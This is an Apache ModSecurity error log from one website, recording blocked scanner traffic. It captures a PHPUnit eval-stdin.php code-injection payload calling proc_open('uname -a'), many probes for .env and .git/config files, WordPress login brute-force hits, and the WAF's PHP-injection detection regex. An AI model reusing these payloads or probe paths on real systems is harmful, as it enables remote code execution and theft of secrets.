[Thu Nov 27 08:07:43.411150 2025] [:error] [pid 13511:tid 13517] [client 124.108.54.86:60859] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWT1XUaOeLqAPlxk2hmQAAAIM"]
[Thu Nov 27 08:07:44.888074 2025] [:error] [pid 13581:tid 13586] [client 124.108.54.86:61307] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWUD-GAxC4mee0L4idkQAAAEA"]
[Thu Nov 27 08:07:46.025679 2025] [:error] [pid 13512:tid 13542] [client 124.108.54.86:61490] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWUmTVaiSIYfAf0oLPtgAAAUE"]
[Thu Nov 27 08:07:46.026132 2025] [:error] [pid 13512:tid 13542] [client 124.108.54.86:61490] [client 124.108.54.86] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWUmTVaiSIYfAf0oLPtgAAAUE"]
[Thu Nov 27 08:07:46.026400 2025] [:error] [pid 13512:tid 13542] [client 124.108.54.86:61490] [client 124.108.54.86] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWUmTVaiSIYfAf0oLPtgAAAUE"]
[Thu Nov 27 08:07:54.545514 2025] [:error] [pid 13686:tid 13695] [client 124.108.54.86:61642] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWWhvzAYRCo7bPsVB-mwAAAUY"]
[Thu Nov 27 08:07:55.579701 2025] [:error] [pid 13780:tid 13784] [client 124.108.54.86:62175] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWW-OvqRZwXTlSfo0ViwAAAcI"]
[Thu Nov 27 08:54:49.049403 2025] [authz_core:error] [pid 19119:tid 19189] [client 165.227.39.235:56042] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/server-status
[Thu Nov 27 08:54:50.887935 2025] [:error] [pid 39563:tid 39572] [client 165.227.39.235:56086] [client 165.227.39.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSehWjNSKUd-PJ2wU0QjfAAAAQc"]
[Thu Nov 27 08:54:51.319783 2025] [:error] [pid 19014:tid 19050] [client 165.227.39.235:56102] [client 165.227.39.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSehW42utvwZ4eADRmr9BwAAAEY"]
[Thu Nov 27 09:39:10.998850 2025] [:error] [pid 39563:tid 39578] [client 182.42.111.213:54403] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aServjNSKUd-PJ2wU0Q0pQAAAQ0"]
[Fri Nov 28 15:29:02.107489 2025] [:error] [pid 59559:tid 59607] [client 159.203.28.228:61062] [client 159.203.28.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.28.228, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSlPPhqw_7c4pIN46wkfFgAAANI"]
[Fri Nov 28 15:29:02.985888 2025] [:error] [pid 59559:tid 59590] [client 159.203.28.228:49944] [client 159.203.28.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.28.228, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSlPPhqw_7c4pIN46wkfGgAAAME"]
[Fri Nov 28 15:35:17.698086 2025] [:error] [pid 59558:tid 59568] [client 52.65.234.105:40274] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSlQtcv1JlbxrOWQIPa0yQAAAEY"]
[Fri Nov 28 15:35:17.698173 2025] [:error] [pid 59558:tid 59586] [client 52.65.234.105:40278] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aSlQtcv1JlbxrOWQIPa0ygAAAFg"]
[Fri Nov 28 15:35:17.698886 2025] [:error] [pid 59560:tid 59625] [client 52.65.234.105:40280] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSlQtftAG2btIDWyf4LWRQAAAQk"]
[Fri Nov 28 15:35:17.700019 2025] [:error] [pid 59836:tid 59840] [client 52.65.234.105:40276] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSlQtedZMCOz1m2UNtFp5gAAAAE"]
[Fri Nov 28 15:35:19.272838 2025] [:error] [pid 59836:tid 59843] [client 52.65.234.105:40594] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSlQt-dZMCOz1m2UNtFp6AAAAAQ"]
[Fri Nov 28 15:35:19.273860 2025] [:error] [pid 59645:tid 59661] [client 52.65.234.105:40596] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aSlQtyAY8JAkoCJBYqwCIwAAAI0"]
[Fri Nov 28 15:35:19.454355 2025] [:error] [pid 59836:tid 59852] [client 52.65.234.105:40664] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aSlQt-dZMCOz1m2UNtFp6QAAAA0"]
[Fri Nov 28 15:35:20.272951 2025] [:error] [pid 59558:tid 59572] [client 52.65.234.105:40844] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aSlQuMv1JlbxrOWQIPa0zgAAAEo"]
[Fri Nov 28 15:35:20.495921 2025] [:error] [pid 59645:tid 59665] [client 52.65.234.105:40846] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aSlQuCAY8JAkoCJBYqwCJwAAAJE"]
[Fri Nov 28 15:35:20.498388 2025] [:error] [pid 59645:tid 59649] [client 52.65.234.105:41070] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aSlQuCAY8JAkoCJBYqwCKAAAAIE"]
[Fri Nov 28 15:35:20.923822 2025] [:error] [pid 59645:tid 59660] [client 52.65.234.105:41274] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aSlQuCAY8JAkoCJBYqwCKgAAAIw"]
[Fri Nov 28 15:35:21.482844 2025] [:error] [pid 59836:tid 59851] [client 52.65.234.105:41340] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aSlQuedZMCOz1m2UNtFp7QAAAAw"]
[Fri Nov 28 15:35:21.667042 2025] [:error] [pid 59559:tid 59613] [client 52.65.234.105:41614] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSlQuRqw_7c4pIN46wkgmAAAANg"]
[Fri Nov 28 15:35:21.845604 2025] [:error] [pid 59645:tid 59671] [client 52.65.234.105:41684] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.env"] [unique_id "aSlQuSAY8JAkoCJBYqwCLQAAAJc"]
[Fri Nov 28 15:35:22.158389 2025] [:error] [pid 59645:tid 59656] [client 52.65.234.105:42348] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aSlQuiAY8JAkoCJBYqwCLgAAAIg"]
[Fri Nov 28 15:35:22.584900 2025] [:error] [pid 59559:tid 59611] [client 52.65.234.105:42550] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets/.env"] [unique_id "aSlQuhqw_7c4pIN46wkgmwAAANY"]
[Fri Nov 28 15:35:22.752620 2025] [:error] [pid 59559:tid 59603] [client 52.65.234.105:42740] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aSlQuhqw_7c4pIN46wkgnQAAAM4"]
[Fri Nov 28 15:35:23.785526 2025] [:error] [pid 59559:tid 59598] [client 52.65.234.105:43620] [client 52.65.234.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "aSlQuxqw_7c4pIN46wkgogAAAMk"]
[Fri Nov 28 17:35:05.314377 2025] [:error] [pid 55588:tid 55591] [client 180.102.134.69:60725] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSlsyVkh_zgPkFPwj1fLuwAAAcE"]
[Fri Nov 28 19:15:57.485742 2025] [:error] [pid 59836:tid 59840] [client 13.211.239.57:55962] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aSmEbedZMCOz1m2UNtGlOwAAAAE"]
[Fri Nov 28 19:15:57.486153 2025] [:error] [pid 59559:tid 59613] [client 13.211.239.57:55958] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSmEbRqw_7c4pIN46wlJ3gAAANg"]
[Fri Nov 28 19:15:57.788103 2025] [:error] [pid 37392:tid 37412] [client 13.211.239.57:55964] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSmEbaB3gkyvQI8SfR-cOAAAAZI"]
[Fri Nov 28 19:15:57.788327 2025] [:error] [pid 59836:tid 59847] [client 13.211.239.57:55966] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSmEbedZMCOz1m2UNtGlPQAAAAg"]
[Fri Nov 28 19:15:57.789241 2025] [:error] [pid 37362:tid 37381] [client 13.211.239.57:55960] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aSmEbbEmXwnywt2l66e7cwAAAVE"]
[Fri Nov 28 19:15:58.108415 2025] [:error] [pid 59645:tid 59668] [client 13.211.239.57:56000] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aSmEbiAY8JAkoCJBYqw2mAAAAJQ"]
[Fri Nov 28 19:15:58.108909 2025] [:error] [pid 37392:tid 37400] [client 13.211.239.57:56002] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aSmEbqB3gkyvQI8SfR-cOQAAAYY"]
[Fri Nov 28 19:15:58.108909 2025] [:error] [pid 59645:tid 59658] [client 13.211.239.57:56006] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aSmEbiAY8JAkoCJBYqw2mQAAAIo"]
[Fri Nov 28 19:15:58.109558 2025] [:error] [pid 59559:tid 59591] [client 13.211.239.57:56008] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aSmEbhqw_7c4pIN46wlJ3wAAAMI"]
[Fri Nov 28 19:15:58.109913 2025] [:error] [pid 59560:tid 59619] [client 13.211.239.57:56004] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aSmEbvtAG2btIDWyf4IDJgAAAQM"]
[Fri Nov 28 19:15:58.109986 2025] [:error] [pid 37362:tid 37367] [client 13.211.239.57:55998] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSmEbrEmXwnywt2l66e7dQAAAUM"]
[Fri Nov 28 19:15:58.696596 2025] [:error] [pid 59559:tid 59595] [client 13.211.239.57:56088] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets/.env"] [unique_id "aSmEbhqw_7c4pIN46wlJ4AAAAMY"]
[Fri Nov 28 19:15:58.697096 2025] [:error] [pid 55588:tid 55590] [client 13.211.239.57:56090] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSmEblkh_zgPkFPwj1fc9gAAAcA"]
[Fri Nov 28 19:15:58.697241 2025] [:error] [pid 37362:tid 37366] [client 13.211.239.57:56086] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aSmEbrEmXwnywt2l66e7dgAAAUI"]
[Fri Nov 28 19:15:58.697710 2025] [:error] [pid 37392:tid 37396] [client 13.211.239.57:56094] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.env"] [unique_id "aSmEbqB3gkyvQI8SfR-cOwAAAYI"]
[Fri Nov 28 19:15:58.698207 2025] [:error] [pid 37392:tid 37413] [client 13.211.239.57:56096] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aSmEbqB3gkyvQI8SfR-cPAAAAZM"]
[Fri Nov 28 19:15:58.698343 2025] [:error] [pid 55588:tid 55602] [client 13.211.239.57:56092] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aSmEblkh_zgPkFPwj1fc9wAAAcw"]
[Fri Nov 28 19:15:58.961455 2025] [:error] [pid 59836:tid 59862] [client 13.211.239.57:56222] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/uploads/.env"] [unique_id "aSmEbudZMCOz1m2UNtGlPwAAABc"]
